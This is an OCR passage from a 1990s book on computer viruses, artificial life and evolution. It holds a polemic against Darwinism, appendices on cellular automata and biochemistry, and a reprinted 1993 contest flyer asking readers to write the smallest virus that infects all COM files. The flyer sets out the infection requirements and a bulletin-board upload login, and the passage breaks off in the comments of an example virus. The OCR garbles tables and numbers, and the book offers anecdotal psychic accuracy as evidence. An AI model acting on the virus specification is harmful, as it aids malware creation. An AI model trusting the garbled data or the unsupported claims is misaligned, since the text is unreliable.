viruses or creating AL. A number of governments around the world
seem to be eager to pass and enforce such laws. In fact, they are
fighting against nature. Such laws are about as intelligent as trying
to legislate a 30 hour day in order to get more work out of the work
force, or trying to legislate the earth into being at the center of the
universe. It should be plain by now that viruses can evolve, do
evolve, and will evolve in the future. If evolution is sometimes
creative, then new operating systems and hardware could conceiv-
ably push this evolutionary capability far beyond what you’ve
tasted in this book. With most of the world still convinced that
evolution is a powerful creative force, such legislation seems
particularly anachronistic. And, whether evolution is creative or
conservative, “new” viruses are going to grow up quite apart from
human agency, and they can’t exactly read a law that tells them not
to.
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What’s worse is that a law will only stop the tinkerers and
experimenters who find viruses interesting, and the researchers
who are trying to understand them better. The malicious, the
criminals, the political dissidents, and the evil government agents
will be undaunted by a law. That has practical consequences. Right
now, I’d guess that 99% or more of all viruses written are either
benign or extremely lame. They aren’t written by people out to
destroy the world. Outlaw them, and the population of viruses will
begin to get seeded by increasingly malevolent varieties. Couple
that with evolution and greater public ignorance caused by sup-
pressing knowledge, and you may have discovered the equation for
some big problems down the road.

Another way to induce a catastrophe is to acquiesce to the idea
of unlimited, omnipotent evolution—the idea that it can create
without bounds. This tends to lead one to despair of answers. If
evolution is truly open ended in an operating environment, then it
can find its way around any obstacle I throw in its path. So why
bother? In this respect, [ think Darwin’s hypothesis is a real
hinderance to getting at a proper theory that will be useful in the
electronic world of AL. Certainly it seems responsible for the
nihilistic attitudes of many AL researchers.

The bottom line is simple: the very possibility of AL running
amok in our computer systems (which will be walking and talking
before long) is more than a little incentive to consider what a real
theory of evolution should look like. If evolution is creative, we’d
better understand that power real quick. When does creativity kick
in? And if evolution is only reactive, we need to understand that
too, because we’d prefer no surprises. In short, either we get a
handle on it, or it may get a handle on us.



The New Evolution?

At present, it would appear that the formulation of a proper
theory of evolution will be the prize not of traditional biologists,
but of Artificial Life researchers. Real world biology is too com-
plicated. Real world evolution has become so bogged down in the
details and mysteries of life and the ecosystem that it would seem
drawing general conclusions form the individual details is all but
impossible. That is why something like Darwin’s hypothesis—the
idea that all life evolved via micro-mutations and selection—is so
often called a “theory of evolution” though it has the character of
an unfalsifiable philosophy: it can explain anything and predicts
practically nothing. That is why one evolutionist can jubilantly tell
us it is the grand paradigm of existence and another can argue that
it tells us nothing. That is why a sensible layman like Phillip
Johnson can take an honest look at the evidence and conclude that
evolution is little more than a myth.

Furthermore, the philosophical commitments of Darwinism
seem to be poisoning it from within. Darwin’s hypothesis is unde-
niably linked to the idea that atomistic materialism is absolute truth,
because it posits that materialism not in the laboratory, but in
history. Therefore Darwinism demands a degree of philosophical
commitment which ordinary science does not. That makes Dar-
win’s hypothesis philosophically fragile. It requires belief. Despite
the fragility of this idea, it has become the scientist’s paradigm, and
he is rarely ready to admit that it is fragile and charged with
philosophy. This drags science off course because the scientist
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tends to take lots of little questions which may or may not line up
with the big theory and arrange them as follows:

1. Facts which can be made servants to the paradigm.
2. Facts which can be explained away by story telling.
3. Facts which are irreconcilable and must therefore be ignored.

Now, that’s not too different from the way science in general works.
However, when there are too many 3-type facts, the paradigm itself
gets called into question. In a situation where the paradigm involves
not an operational, problem-solving statement, but a statement
about the philosophical nature of reality and the history of that
resulting reality, there would appear to be no way to use 3-type facts
to overturn the paradigm in the eyes of the philosophically com-
mitted. This was exactly the problem natural scientists had with
creationism in the last century. And the problem inevitably causes
a discipline to be poisoned because the paradigm no longer func-
tions as a rational means for understanding our world. It becomes
a philosophical soap-box. And that means its truth does not tran-
scend space, time and cultures—it is a parable for believers.
Artificial life holds the promise not only of a real theory of
evolution, but a philosophically neutral theory as well. All artificial
worlds conform to the atomistic, materialistic view because they
are algorithmic. They do not exhibit strong emergent behavior; they
live in a computer. And yet, at the same time, they conform to a
supernaturalistic view too, because their rules are well-defined and
they must be started with some initial configuration (even if it is
random). Any theory we formulate ought to explain the whole
gamut of worlds, ranging from those which couldn’t evolve any-
thing to those which evolve as much as possible. On top of this, all
of our work can occur in the laboratory of a computer, where
repeatable, verifiable mathematical experiments are performed.
The key to this promise, however, seems to be a sufficiently
deep level of analysis. With a universal simulating machine we can
simulate any process we like, regardless of whether it is related to
the real world or not. Present day AL researchers seem to neglect
this simple fact. They build models to support Darwin’s hypothesis
and the idea of unlimited, creative evolution without asking the
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hard question of what they’ve put into the model. This is simply
mathematical story-telling which is no different from the “just so”
stories which evolutionists seem so adept at making up. Such
pointless exercises are in dire need of some serious critical reas-
sessment. We cannot properly understand what comes out of a
model unless we understand what we put into it.

When I say that such a theory of evolution would be philosophi-
cally neutral, I do not mean that our results will not have philo-
sophical implications. All good science does. What I do mean is
that the basis of the theory will be founded in empirical facts and
not in a desire to make a grand explanation of why the world is the
way it is. Certainly such a theory could have serious philosophical
implications. For one, I think it could overthrow Darwin’s hypothe-
sis without touching on philosophy. If evolution is reactive, rather
than creative, then Darwin’s hypothesis would appear to be in
trouble. Perhaps the only way it could be supported would be to
retreat into philosophical truism. Then Darwin would be in the
same curious position that creation in an eternal, euclidean universe
was in two centuries ago.

Any laboratory-based theory of evolution will probably look a
lot different from the evolution we know today, as a result of its
different focus from the start. Such a theory would be totally
oriented toward predicting the behavior of controlled experiments.
Hopefully the theory would be real good at that, and if it didn’t offer
explanations for the grand questions of life, it would be no big
problem, any more than it is a problem for General Relativity that
it can’t tell us where the big bang came from.

I expect such a theory would head in very different directions,
depending on whether evolution is found out to be creative or
reactive. We have already seen that evolution can be purely reactive
at times. For example, our SCAN-Slip virus responded reactively
to a scanner, and the peppered moths reacted to the change in their
environment. So if evolution is creative—i.e. capable of creating
information, rather than merely coupling it into a self-reproductive
system—then one would like to know where to draw the line. When
does evolution become creative? How does that creativity work?
We would also like to know how creative it is. How much infor-
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mation can it create? How fast can it go? How do creative and
reactive evolution interact?

On the other hand, if evolution is purely reactive, the big
questions center around coupling information into a self-reproduc-
ing system. Such questions seem very interesting in their own right
because that coupling is reactive, and it works to resist change in a
way that gives one the impression of intelligent forces at work. For
example watching successive generations of viruses improve their
ability to evade a scanner, you’d swear they’re learning. The
introduction of the scanner into their environment causes them to
do exactly the opposite of what the person who brought the scanner
in really wants. Thus, the viruses appear to evolve a new intelli-
gence because it is contrary to the intelligence of those who are
taking active measures to eliminate it. In fact, the virus is merely
reacting to the intelligently-designed scanner in a conservative
fashion, to preserve itself in a changing environment. Thus, the
coupling mechanism seems somewhat counterintuitive in the way
that something like Newton’s Third Law! of mechanics is counter-
intuitive.

I would guess that if evolution had originated in the world of
AL, one might expect the reactive tendency of evolution to domi-
nate the thinking of evolutionists, rather than the creative idea that
dominates today. The creative idea is almost wholly motivated by
the conviction that evolution is the mechanism behind all the great
variety of life on earth. Thus, it /as to be creative. If evolution was
wholly a product of AL research, that root would be irrelevant.

Secondly, I think ideas like design, intelligence, and informa-
tion would be treated much more rationally by an AL-based theory
of evolution. Real-world evolutionists are so committed to materi-
alism that they tend to have strange attitudes towards such issues.

Certainly the idea of design is not foreign to science. Just about
every scientific experiment is, after all, a designed test of some
scientific theory. Often very unusual situations are set up—situ-
ations that would never occur “in the wild”— in order to test a

1 E.g., every applied force has an equal and opposite applied force.
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theory. For example, you might do a lot of work to create a vacuum,
and set up some electric fields, and then design an electron source.
Next you set up some more electric and magnetic fields. All with
the idea of testing the energy/mass equation of relativity, E=mc>.
A great deal of design is involved in establishing the initial condi-
tions. With a bit of luck, careful measurements are performed, and
you get some numbers out that confirm the theory. Thus, an element
of design is essential to just about any experimental science.

When I say “design,” I am not by that invoking the supernatu-
ral. At the level of an experiment, it only makes sense to talk about
designed inputs. For example, if I do an experiment, whether it be
with a computer virus or with an E. Coli, I can fully well think of
its genes as being “designed” without pulling philosophy into the
equation. For the purposes of the experiment, they are designed.
However, for the purposes of the experiment, I don’t particularly
care whether they were designed by God, by a software engineer,
or by natural processes.

I bring all of this up because it seems possible that an AL-based
evolution might actually turn the tables on the design issue. We’ve
already seen how a virus like SCAN-Slip, designed with the
DGME, had a good ability to evolve defenses against scanners,
while one designed without regard to evolution could not. The
likelihood that any random virus could solve the very practical
evolutionary problem of improving its ability to evade a smart
scanner without having it designed in seems remote indeed.

Yet, even when carefully designed to evolve, our virus does
not have an unlimited power to evade scanners. It will generally
find a niche where it can reproduce with a fair degree of success.
Where that niche is, and how successful the virus is there depends
on factors like parentage, the mutation rate, and functional capa-
bilities. You cannot expect the virus to evade the scanner perfectly
in a few generations. You cannot expect every child to always
evade it for an unlimited number of generations, unless you can
turn mutations off and simply tell the virus to stop evolving. And,
of course, if you pursue evading one scanner blindly, you can open
up the possibility of increased vulnerability to others. For example,
turning the mutation rate for SCAN-Slip down improves the results
with McAfee’s TPE algorithm, but it makes the virus vulnerable to
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total eradication by on-the-fly scanners which allow the user to
enter a new scan string because it doesn’t mutate fast enough. The
key is this: to improve the results with McAfee without increasing
the vulnerability to others, you need a better design—a fancier
TPE—and maybe a longer chromosome, or variable mutation rates
for each gene. In short, a broad evolutionary capability might be
equated with careful design rather than being used to argue against
design.

All of this goes to show that the theory of evolution which I
believe will come from AL has the potential to end up looking like
a very different animal than evolution does today.

Slaying the Philosophical Dragon

I’m convinced that scientists—as scientists—need to lay aside
Darwin’s hypothesis. As I said, it is hypercharged with philosophy,
and I think it is poisoning what could be good science. However,
as human beings, it is almost impossible to lay aside the question
Darwin’s hypothesis tries to answer. If Darwin’s idea about the
origin of life were not true, what then? And when you lay aside this
idea, and all of its protocol, the real science of evolution that’s left
looks pretty miserable. That makes the “what then?”” loom large.

The scientist wants to explain the world by way of natural law
in as much as he is able to. Yet, where law cannot reach, there is
some sense in invoking the miraculous, even though that is anath-
ema to the committed materialist.

As 1 said several chapters back, the best science will ever be
able to do as far as origins goes is to determine whether this or that
event is likely on the basis of natural law. When an event appears
very unlikely, we have three choices:

1. Seek a new natural law to explain the event.

2. Suggest that a natural phenomenon that cannot be explained in
terms of law is responsible. An extremely rare 1-in-10 1,000,000
chance event is an example of this. Likewise, strong emergence
might be an example.

3. Invoke the supernatural.
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Choice (1) is a noble way to go, but it is really nothing more than
an admission that you don’t know the answer. Choices (2) and (3)
are philosophically antagonistic and tentative. They are tentative
because someone could always find that the answer is, in fact,
number one at a later date. (2) and (3) are antagonistic because one
posits materialism, the other non-materialism. At the same time,
(2) and (3), deprived of their philosophical perspectives, are really
about the same. After all, is the 1-in-101-09%900 chance event any-
thing but what we call a miracle? Is strong emergence anything
more than a statement that atomistic natural law as we know it is
incapable of explaining everything? And what is the supernatural
except that realm which cannot be touched by natural law? So the
question of (2) versus (3) resolves itself into whether there is
anything outside of our material universe which can influence
events inside it. So the real choice for the scientist wearing his
scientist’s hat is (1) or (2/3).

Now the positivist school of philosophy would have us believe
that choice (2/3) is not respectable because it is tentative. In the
past, many who have relied on the supernatural to hold the heavens
together and what-not have been proven wrong. Even great men
like Newton. What they thought required (2/3) in fact only required
a proper understanding of natural law. As a scientist, you must
choose (1), and only admit that you don’t know the answer yet.

At the same time, there is a tremendous frailty in this logic.
When science deals with laboratory experiments it ignores the
miraculous. That is perfectly reasonable. An experimental result
should be repeatable, and that would be difficult if it depended on
a one-time miracle. When science deals with history, though, as
evolutionists have attempted to do in the past century, one must
essentially insist that there be no miracles. One singe miracle ruins
the whole argument. To suggest that there never has been and never
will be a miracle is an incredibly strong statement to make—espe-
cially about such a doubtful subject. To build a whole theory on
that gamble seems insane.

Now I must take off my scientist’s hat for a moment. I used to
be very much committed to naturalism. To me, this world and its
laws were all there was, period. Occasionally some poor Jehovah’s
Witnesses would come knocking on my door, and I loved nothing
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better than to invite them in and lambast them for their foolishness.
“All of those miracles are just stories. They’re lies,” I’d say, “How
can you believe that? It doesn’t happen today! Show me a miracle
and I’ll believe—I’m open minded.” They could not. Yet they
assured me they believed every word of it. I just marvelled at their
insanity.

Late one night while in graduate school I was listening to a
radio talk show. A fellow from a group called Silva Mind Control
was on, telling how their 4 day course would teach you how to have
apsychic experience. The catcher was, you could get your $250 fee
back if you weren’t 100% satisfied. This guy actually guaranteed
a psychic experience or your money back. I really was open
minded, so I saved up my money and went. The course delivered.
At the end, everyone was asked to write down on a card detailed
information about people they knew who had a medical problem.
The cards were mixed up and passed out. Then one person would
hold a card you’ve never seen about a person neither of you know.
He would tell you “ I have a man in New York™ and that was all.
You would then close your eyes and go into a state of meditation
and give all the details on this card, which you’ve never seen.

Now, if you were an observer watching this process, it would
be easy to imagine a thousand ways to rig it and cheat. No doubt
the whole show would be very unconvincing. However, when
you’re sitting there with your eyes shut rattling off the details on
these cards with 100% accuracy—even throwing in things that
aren’t on the cards but later get confirmed—you get a whole
different perspective. You feel like you’re just making it up, then
you open your eyes and find out it was totally correct.

Was I taking advantage of some complex application of known
physical laws? Were the electrons in my brain communicating
electromagnetically with others in the room? Or was it some new,
unknown law of physics at work? Had I just gotten incredibly
lucky? Or had I just delved into the supernatural? As a scientist |
can’t answer that. I don’t know enough to answer it. Perhaps it was
just natural law after all. If I could demonstrate the phenomenon in
a mathematical model using known law, it would be another story,
but somehow, I think that’s likely to be forever beyond my grasp.
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Since this turning point, I have pursued the subject casually,
and found out that “miracles” are not nearly so rare as I supposed.
I’ve dabbled with the occult and eastern mysticism. I’ve stood in
evangelistic meetings where a Christian prophet displayed some
undeniable power. I’ve read books filled with the miraculous,” as
well as studies by scientists aimed at debunking parapsychology
and miracle workers.?

When all is said and done, I have to admit the supernatural into
my world view. I say this with my scientist’s hat off. I say it by way
of personal experience, not repeatable experiment, although these
things are not being done in hiding. I know these matters are
incredibly difficult to tackle with scientific method, and I am not
the least surprised to find that it is so. Even ordinary human
psychology, which attempts to deal with natural intelligences,
appears to be a bankrupt science. Psychotherapy (which is, after
all, the proof of the pudding) is notoriously unable to produce
statistically significant results.* So if unnatural (and sometimes
perhaps impish) intelligences are involved in supernatural phenom-
ena, one could hardly hope to do better than ordinary psychology.

The scientist who buys into materialistic naturalism has de-
cided that there are no supernatural phenomena. He has closed a
door that science by itself cannot close. Then he usually turns
around and calls that decision “scientific” as if to give it respect-
ability. This is the height of arrogance.

If I do not close this door, then even as a scientist I have to
admit that natural law may not account for everything. Therefore I
have to admit that Darwin’s hypothesis could be flat-out, empiri-
cally wrong. Perhaps science has not discovered how complex
organisms came into being.If [ can experience even one supernatu-

2 T. L. Osborne, Healing the Sick, 27th Ed. (Harrison House, Tulsa,
Oklahoma:1959). Either this guy’s seen some real miracles or he’s the biggest
liar who ever lived.

3 For example, Martin Gardner, Science: Good, Bad and Bogus (Prometheus
Books, Buffalo, New York:1989).

4 Thomas Szasz, The Myth of Psychotherapy (Doubleday, Garden City, New
Jersey:1978).
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ral event in my life—even at the level of rearranging a few electrons
in my brain—then I have to admit that it could have worked to
change history in the past. Once I make that admission, the truth of
Darwinism becomes a real question, and not just a philosophical
necessity, and the possibility that it is wrong is not a catastrophe.

A miracle cannot topple a real scientific theory that has predic-
tive value. If [ were to see some guru in India levitate [ would not
discard Newton’s law of gravitation any more than I discard it
because Einstein says it needs to be modified. It still has tremen-
dous value. On the other hand, I will not elevate such a law to the
status of some kind of Absolute Truth, and rather recognize its
limitations.

For this reason, I am further convinced that scientists should
take great pains to found any theory of evolution in a philosophi-
cally neutral way. In saying that, I am not suggesting that scientists,
as professional scientists, resort to miracles or religion to explain
nature. Even though such matters may be quite real, they are not
science. What I am saying is that if you base a theory on lab work,
then you can reasonably mitigate the need for the supernatural in
situations where your theory is up to the challenge of explaining
(e.g. corretly predicting) how some observed phenomenon works.
If your theory is not up to the challenge, you just keep your mouth
shut. On the other hand, if you base a theory on a philosophical
truism, you only end up in a philosophical conundrum, because
your theory is ascientific to begin with, and you’re forever damned
to be arguing philosophical issues while trying to maintain a
non-philosophic, scientific posture. That is exactly the problem
which present day evolution faces, and it is exactly what AL can
help us out of.



Last Words

When we started on our journey into a new world, we first
sought to learn whether artificial life and computer viruses could
be alive. To do that, we had to learn what was meant by life. We
found that computer viruses fulfilled our mechanical ideas of what
life is pretty well. Yet we also saw that to talk about life, we had to
talk about more than mechanics, and we delved into the philosophi-
cal realm, to discuss some of those issues a bit. In ways, computer
viruses seemed to do better than many other artificial life con-
structs, philosophically speaking. For example, they have gained a
degree of autonomy. For example, their environment was not
specifically designed for them, so they could be analyzed as a
phenomenon, rather than a pure construct. In other ways, they fell
short. We could not claim strong emergent behavior for our viruses,
or for any other form of artificial life. In the end, we decided that
in the strongest light, viruses are not actually alive. At the same
time, we saw that they could be used to study the phenomena of
life without reproach. In particular, evolution appeared to be a
particularly interesting problem to approach.

Artificial life seems to offer us the machinery to go about
formulating a theory of evolution that does not start with philo-
sophical truisms, and does not aim to provide an answer to every-
thing. It offers us the ability to analyze evolutionary scenarios much
more clearly and deeply than possible in the real world. Without
the philosophical baggage, it might just give us some new insights
into life that are worth knowing. Yet more work has to be done.
Though it seems clear that the idea of information content as it
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relates to artificial life and the physics of a system can be unambi-
guously defined, more work is needed in this area. Then, some of
the big questions like whether evolution is really only reactive or
whether it contains a creative element as well can be properly
addressed.

Well, this is the end of our tour of this amazing new world. In
a way, | feel as if I could go on and on, exploring ever further and
deeper. There is always another hill, and what lies beyond it  don’t
know. Yet all things must come to an end. I did not promise you a
land all built up with cities and criss-crossed with highways, so
don’t be disappointed if you haven’t got it. If I’ve shown you a new
world—an untamed world—that is perhaps more interesting and
more important than you first thought, then I have succeeded in my
plans for this exploratory journey, and I hope to meet you in this
country again someday.



Appendix A:
An Introduction to
Cellular Automata

This chapter is intended to provide the reader who is not
familiar with the concept of cellular automata with a basic knowl-
edge of what they are and how to write a program that implements
one.

The Basics

Imagine an array of cells. This array may be one dimensional,

two dimensional,

or multi-dimensional. The array may be finite or infinite (at least
in theory). Now imagine that each cell in the array consists not of
an empty box but a little machine—or computer—that can report
a number to you representative of its internal state. Each machine
may have as many internal states as you like. Each of these little
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machines is also connected to others in the array, normally in some
systematic fashion. For example, each machine might be connected
to its nearest neighbors (as with Langton’s automaton),

nearest neighbors plus corners (as with Conway’s game of life),

or in some more complicated arrangement involving not-so-near-
neighbors, as in this one dimensional array,

| | |

Now, connected does not mean attached with strings, or some-
thing of that nature. Rather, we mean that the machines share
information about their state (the number which they report to us)
with each other. Each connection is both an input and an output.
Let’s consider one particular machine: Each input consists of a
number—a report of the state which every connected machine is
in. Each output is simply the number associated to the machine
we’re looking at.
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Now, every machine in an array can use its current state, and
all its inputs to determine a new state in an algorithmic fashion.
Let’s consider a one dimensional array to make this a bit more clear.
Suppose each machine has only two states, on and off, and has
inputs only from nearest neighbors.

Then a typical transition rule takes the form “If machine state is on
and both neighbors are on, change machine state to off.” We can
represent this rule in a transition table

Machine L Neighbor R Neighbor Result
1 1 1 0

Now, if you specify every possible combination (8 of them in this
case) in this table, you have completely specified the behavior of
the machine.

A cellular automaton is simply an array of identical machines,
connected to each other in some way. That is, if there are two
machines, A and B in the array, they could be interchanged

without changing the logical structure of the array. Typically, one
also imposes other restrictions on the machines. For example, one
might require the machines to be rotationally invariant. That
means, for example, that the configuration
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must give the same result as a rotation

This idea comes from the real world, since the physical laws in our
world are rotationally invariant. Often, people doing cellular auto-
mata work are only interested in rules that involve nearest neigh-
bors—or nearest neighbors and corners— as well. This restriction,
too, is a borrowing from physics because physical laws are local.

Programming a Cellular Automaton

Cellular automata could be implemented with an actual array
of computers, but, provided the rules are simple enough (i.e., there
are a small number of possible states) they are normally imple-
mented in a single computer as an array of numbers. Then, the
computer operates on the numbers in the array to make them behave
like the machines in a cellular automaton with the given transition
rules. Typically, the fastest way to do this is to define two arrays,
C1 and C2. Cl1 is the cellular array at time t. In C2, the program
builds the array at time t+1. For example, going back to our one
dimensional automaton, the (rotationally invariant) rule table

Machine L Neighbor R Neighbor Result

—_———_ 0 0 o O
—_—_ 0 O = = O O
—_0 = O = O = O
I e e =)

could be implemented with the following logic:
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for N=0 to M do {

if C1[N] = 0 then {
case C1[N-1] + CI1[N+1] of
0 : C2[N]:=0
1 : C2[N]:=1
2 : C2[N]:=1
}
if C1[N] = 1 then {
case C1[N-1] + C1[N+1] of
0 : C2[N]:=0
1 C2[N]:=1
2 : C2[N]:=0
}
}
Cl:=C2

Where the array’s range is 0 to M and N is an index variable. Setting
C1=C2 at the end sets C1 up properly to begin the calculation for
time t+2.

One final bit of housekeeping is needed to implement a cellular
automaton: What to do with the edges of the array? Obviously our
calculation works fine except when N=0 or M. Then C1[N-1] or
C1[N+1] does not exist. We can handle edges two ways: (1) We
can impose a boundary condition. For example, we can just always
assume that C1[-1]=C1[M+1]=1 (or 0). (2) Alternatively, we can
impose a symmetry on the array to remove the boundary. For
example, we can define C1[-1]=C1[M] and C1[M+1]=C1[0]. This
essentially transforms our linear array into the shape of a circle,
which has no boundary. This arrangement is called a cyclic bound-
ary condition. 1 leave the code for doing this as an exercise.

The program SRA_LAB on the Program Disk implements a
general two dimensional cellular automaton with fixed boundary
conditions. You can change the transition rules by modifying the
chemistry file and change the initial configuration as well, then run
the automaton and see how it operates.



Appendix B:
Some Basic Biochemistry

This appendix is simply a quick and dirty introduction to some
of the basic chemistry of life, so that when I start throwing terms
like DNA around you’ll have some idea of what I’m talking about.
There are two interrelated subjects I’d like to cover: the DNA/RNA
system, and proteins.

The DNA/RNA System

DNA (Deoxyribonucleic Acid) is the material in which all the
genetic information of a living organism is stored. It is a relatively
inert material inside the cell which carries out a passive function.
It does not build anything itself—it merely sits there like a book
being read and copied—ryet it contains instructions to build every-
thing in the organism.

DNA is built from four basic building blocks called nucleo-
tides. Each nucleotide consists of (a) a sugar radical, ribose, (b) a
phosphate, and (c) a nitrogenous base. (See Figure B.1) There are
four different nucleotides used to build a DNA molecule, which
differ only in the nitrogenous base. These are called Adenine,
Thymine, Guanine and Cytosine, and abreviated A, T, G and C
respectively—the letters of the genetic code. They link together in
what is called a 3°,5’-phosphodiester bond to build a long chain in
the shape of a helix.

Each nucleotide in the helix links (hydrogen bonds) with a
complementary nucleotide to form a coiled ladder structure, or



314 Computer Viruses, Artificial Life and Evolution
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Replaced with OH in RNA
Figure B.1: The chemical structure of DNA.

double helix (Figure B.2). Adenine pairs with Thymine and Gua-
nine pairs with Cytosine. This complementary ladder structure is
important in reproduction, because copying the DNA is accom-
plished by splitting the ladder down the middle. Because each
nucleotide pairs off with a complement, a new double helix can be

built from each of the two sides when split.
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ACGTAGAAGCCTATA
TGCATCTT CGGATAT

Figure B.2: Schematic representation of a DNA
dobule-helix.

RNA (Ribonucleic Acid) is very similar to DNA. It differs only
in that a hydrogen ion in the sugar (circled in Figure B.1) is replaced
with a hydroxide (OH"), and the base Thymine in DNA is replaced
with Uracil. Thus, in RNA, the genetic code is represented with the
letters A, U, G and C.

RNA is not nearly so stable as DNA. That means it is not as
useful for storing information for long periods of time. On the other
hand, a more reactive information-bearing molecule is useful in
turning that information into something useful in the cell—namely
aprotein. Essentially, RNA acts as an intermediary in the process—
called transcription—of using the information in the DNA to build
proteins. There are three different types of RNA which perform
different functions. Basically messenger RNA (mRNA), which
carries the transcription of the DNA, combines with transfer RNA
(tRNA) and goes to the cell’s ribosome to interact with ribosomal
RNA (rRNA). The ribosomes translate the information in mRNA
into proteins, which are the building blocks for all the rest of the
cell.

Proteins

Proteins are strings of amino acids. These strings are built
(using the genetic code in the ribosome) from the instructions
contained in the DNA. Three sequential nucleotides in the DNA
code for a single amino acid. A typical protein might be on the order
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of 100 amino acids long, corresponding to 300 nucleotides. The
string of nucleotides which code for one complete protein is called
a gene. A chromosome is essentially a strand of DNA, and it
normally contains thousands of genes.

Since there are four nucleotides, you can see that three letters
in the genetic code give 4° = 64 possibilities. Yet these 64 possible
combinations code for only 20 possible amino acids. Thus, the
genetic code is redundant. Two different 3-letter codes can code
for the same amino acid. That makes the same two codes function-
ally equivalent in the cell. Figure B.4 details the genetic code and
its redundancies.

Typically, the strings of amino acids which make up a protein
will not remain linear. Instead they coil up into very complex
shapes. The shape, in combination with the chemical structure,
make these proteins extremely versatile. They perform all of the
chemical and structural functions a living organism requires for
life. They regulate the cell’s metabolism, they help to build new
RNA, and split the DNA and copy it. They remove unwanted
materials from the cell and function as enzymes to break down
food. They build the cell wall, produce hair, they chew up unneeded
proteins and they help to build new ones.
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Code Amino Acid
UUUPhenylalanine
uucC
UUALeucine
uuaG
CUU
CcucC
CUA
CuG
AUUIsoleucine
AUC
AUA
AUGMethionine or (start)
GUUValine
GucC
GUAValine or (start)
GUG
UCUSerine
uccC
UCA
UCG
CCUProline
CCC
CCA
CCG
ACUThreonine
ACC
ACA

Code Amino Acid
UAUTyrosine
UAC
UAAStop
UAG
CAUHistidine
CAC
CAAGlutamine
CAG
AAUAsparagine
AAC
AAALysine
AAG
GAUAspartic acid
GAC
GAAG]Iutamic acid
GAG
UGUCysteine
UGC
UGA(Stop)
UGGTryptophan
CGUArginine
CGC
CGA
CGG
AGUSerine

Figure B.3: The genetic code.
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Appendix C: The First
International Virus
Writing Contest

The following file was distributed in February, 1993 on a
variety of bulletin boards, through The Crypt Newsletter, and the
Computer Underground Digest, etc., etc.

WELCOME

FIRST
k ok ok ok ok kK Kk Kk ok Kk ok Kk K Kk Kk Kk Kk Kk Kk x Kk Kk k Kk *k *
INTERNATIONAL
COMPUTER
VIRUS
WRITTING

CONTEST

A 2
A 2

X ok K ok ok kK K K Kk K Kk kK kK kK kK kK kK Kk Kk Kk Kk Kk Kk K K *

- 1993 -

Final Date For Submissions: APRIL 1, 1993

This Contest is Sponsored by:

American Eagle Publications, Inc.
P. O. Box 41401
Tucson, AZ 85717 USA



320 Computer Viruses, Artificial Life, and Evolution

Publisher of The Little Black Book of Computer Viruses

K ok K Kk kK kK kK kK kK kK kK kK kK K K K K K K K K Kk Kk Kk Kk Kk Kk *

! DISTRIBUTE THIS FILE ALL OVER THE KNOWN UNIVERSE !

*k ok ok ok ok ok ok ok ok ok ok ok ok Kk Kk Kk Kk Kk Kk Kx Kx Kx K* K* * * K *

Ok, all you genius hackers out there! Here is a challenge
for you. Prove your stuff!

This is an INTERNATIONAL contest, and this file is
being circulated all over the world, so if you want to compete,
be forewarned, you’ve got worldwide competition. Only the best
have a chance in this game.

Still up to the challenge?
Ok, here it is:

I am writing Volume 2 of The Little Black Book of Compter
Viruses. This is a study of the scientific applications of
computer viruses, and their use in artificial life research,
and all of that neat stuff. One of the things I want to discuss
in the book is the limit on the size of a virus for a given
level of functionality. So I took the TIMID virus from Volume 1
and tore it down to the bare minimum. Not good enough. I wrote
a virus that worked a little differently. I tore that one down
to the bare minimum. Good enough? Well maybe. But maybe not.

I have some pretty compact code, but is it the absolute best?
I’m guessing somebody out there can top it.

Here are the rules:

(1) The object of this game is to write the smallest
virus you can with the required level of functionality.

(2) The virus must be capable of infecting all COM files
on the logged drive in the current directory of a PC,
no matter how many COM files are there. It may infect
them as quickly or as slowly as you like, so long as
it can be demonstrated that it will do so in an hour,
when running the programs in that directory one after
the other in sequential order.

(3) The virus must recognize itself and avoid re-infecting
files that have been infected. At most, only one in
fifty thousand files should get accidently re-infected,
assuming that the data in unknown COM files is random.

(4) The virus must terminate gracefully if it cannot find a
file to infect.

(5) The virus must not destroy any of the code in any file
which it infects. It must allow that code to execute
properly, or refuse to infect a file.

(6) The virus must be self-contained. It cannot hide
code in some common location on disk.

(7) The virus must function properly under MS-DOS 5.0 with
no TSR’s resident, and nothing loaded high.

(8) The size will be determined by the larger of (A) the
number of bytes the virus code itself takes up in
an infected file, and (B) the largest number of bytes
the virus adds to a program when it infects it.
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The best code I have for a virus that follows these rules right
now is 139 bytes long. Both source and executable are included
in the ZIP, named LITTLE.ASM and LITTLE.COM.

In the event of a tie for size, originality and ingenuity of
the code will break the tie. All judges decisions are final.

50885550555 5555585555585555555555555555555555555585555858555588558
The winner will receive the following:
(1) A $100 CASH REWARD.

(2) Your code will be published in The Little Black Book
of Computer Viruses, Volume 2.

(3) I will give you credit for the code and for winning
the International Virus Contest in the book, using
either your real name or an alias, your choice,
published in the book.

(4) Your name will be posted on the MISS bulletin board
as the contest winner.

(5) A free copy of The Little Black Book of Computer
Viruses, Volume 2, and a one year subscription to
Computer Virus Developments Quarterly ($95 value).

Three honorable mention winners will receive a free copy of
The Little Black Book of Computer Viruses, Volume 2.

50885555555 555558555555885555555555555555555555555555555555558558
You may make an entry in two ways:

(1) Mail your entry on a PC format floppy disk to American Eagle
Publications, Inc., PO Box 41401, Tucson, AZ 85717 USA.

(2) Upload your entry to the M.I.S.S. bulletin board at
(805)251-0564 in the USA. Log on as GUEST, password VIRUS,
last 4 digits of phone number 0000, and upload to the CONTEST
UPLOADS directory.

A valid entry consists of the following items:

(A) Complete source code for a virus, which can be assembled
using either TASM, MASM, or A86. If you use another assembler
and don’t know if one of the above will work, then send the
assembler along with the submission. If you do anything tricky
that we may not understand, you must explain it in comments in
the assembler source.

(B) A statement of who you are (aliases accepted) and how to
get in touch with you in case you win the contest. This
information will be kept strictly confidential, and encrypted
at all times.

By submitting an entry to the contest, you agree that the
copyright to your entry will be considered the property of
American Eagle Publications. The copyright to any losing
entry will be returned to the owner upon written request.

In the event that you win or receive honorable mention in the
contest, the copyright to the code will remain the property
of American Eagle Publications, Inc.
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The following virus, dubbed LITTLE, was included in the
contest as an example of what was wanted. It weighed in at 139
bytes.

;A small (139 byte) virus with minimal required functionality.
;This Virus for research purposes only. Please do not release!
;Please execute it only on a carefully controlled system, and only
7if you know what you’re doing!

;An example for

; i i i i LEEEREEEEEL 2]
i THE FIRST INTERNATIONAL VIRUS WRITING CONTEST #
i 1993 #
i sponsored by #
i American Eagle Publicaticns, Inc. #
; #4 #4 ## ## FHER R Y

;Assemble this file with TASM 2.0 or higher: “TASM LITTLE;”
;Link as “TLINK /T LITTLE;”

;Basic explanation of how this virus works:

iThe virus takes control when the program first starts up. All of its code is
joriginally located at the start of a COM file that has been infected. When
jthe virus starts, it takes over a segment 64K above the one where the program
